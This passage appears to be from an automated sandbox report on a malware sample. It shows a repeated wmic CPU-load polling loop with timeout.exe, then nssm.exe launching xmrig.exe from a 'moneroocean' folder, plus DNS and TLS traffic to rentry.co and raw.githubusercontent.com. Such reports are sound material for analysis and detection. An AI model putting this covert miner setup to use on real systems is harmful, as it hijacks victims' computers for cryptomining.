                                                                                                                                                                                          PID:3616
                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:3440
                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                            PID:936
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4856
                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4468
                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                PID:3604
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1284
                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:452
                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                    PID:4528
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4324
                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:2316
                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                        PID:3676
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:4404
                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4728
                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                            PID:2220
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:3612
                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5004
                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                PID:624
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:3380
                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:3912
                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                    PID:4772
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1048
                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1548
                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                        PID:3880
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1900
                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4132
                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                            PID:4464
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:432
                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:3684
                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                PID:1664
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1452
                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1168
                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                    PID:2192
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:1860
                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4532
                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                        PID:4672
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:4004
                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:2720
                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                            PID:2496
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:184
                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:936
                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                PID:672
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:4700
                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:2612
                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                    PID:4748
                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:4864
                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:4716
                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                        PID:2440
                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:4172
                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:2516
                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                            PID:3784
                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:4252
                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:4268
                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                PID:2592
                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1404
                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:3372
                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                    PID:3876
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:3132
                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:1972
                                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                        PID:3928
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:4220
                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:2976
                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                            PID:3080
                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:4656
                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:3592
                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                PID:2916
                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:3456
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:400
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                    PID:3140
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:4132
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:1712
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                        PID:4988
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:4620
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:4248
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                            PID:3984
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:3136
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:4964
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                PID:640
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:4460
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:4672
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                    PID:3076
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:4376
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:2244
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\nssm.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\moneroocean\nssm.exe
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:4768
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\moneroocean\xmrig.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\moneroocean\xmrig.exe"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:2632
                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4232 --field-trial-handle=2656,i,16940681401824032220,151921362336696246,262144 --variations-seed-version /prefetch:8
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:4660

                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            209.205.72.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            209.205.72.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            rentry.co
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            rentry.co
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                            rentry.co
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            104.26.3.16
                                                                                                                                                                                                                                                                                                            rentry.co
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            172.67.75.40
                                                                                                                                                                                                                                                                                                            rentry.co
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            104.26.2.16
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            82.90.14.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            82.90.14.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                            82.90.14.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            a23-14-90-82deploystaticakamaitechnologiescom
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            16.3.26.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            16.3.26.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            136.32.126.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            136.32.126.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            95.221.229.192.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            95.221.229.192.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            185.199.109.133
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            185.199.111.133
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            185.199.108.133
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            185.199.110.133
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            104.219.191.52.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            104.219.191.52.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                            fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                                                                                                                            IN CNAME
                                                                                                                                                                                                                                                                                                            fe3.delivery.mp.microsoft.com
                                                                                                                                                                                                                                                                                                            fe3.delivery.mp.microsoft.com
                                                                                                                                                                                                                                                                                                            IN CNAME
                                                                                                                                                                                                                                                                                                            glb.cws.prod.dcat.dsp.trafficmanager.net
                                                                                                                                                                                                                                                                                                            glb.cws.prod.dcat.dsp.trafficmanager.net
                                                                                                                                                                                                                                                                                                            IN A
                                                                                                                                                                                                                                                                                                            20.166.126.56
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            103.169.127.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            103.169.127.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            56.126.166.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            56.126.166.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            107.12.20.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            107.12.20.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                            107.12.20.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            a2-20-12-107deploystaticakamaitechnologiescom
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            80.90.14.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            80.90.14.23.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                          • flag-us
                                                                                                                                                                                                                                                                                                            DNS
                                                                                                                                                                                                                                                                                                            226.162.46.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                            Remote address:
                                                                                                                                                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                                                                                                                                                            Request
                                                                                                                                                                                                                                                                                                            226.162.46.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                            IN PTR
                                                                                                                                                                                                                                                                                                            Response
                                                                                                                                                                                                                                                                                                          • 104.26.3.16:443
                                                                                                                                                                                                                                                                                                            rentry.co
                                                                                                                                                                                                                                                                                                            tls
                                                                                                                                                                                                                                                                                                            1.2kB
                                                                                                                                                                                                                                                                                                            20.1kB
                                                                                                                                                                                                                                                                                                            19
                                                                                                                                                                                                                                                                                                            28
                                                                                                                                                                                                                                                                                                          • 185.199.109.133:443
                                                                                                                                                                                                                                                                                                            raw.githubusercontent.com
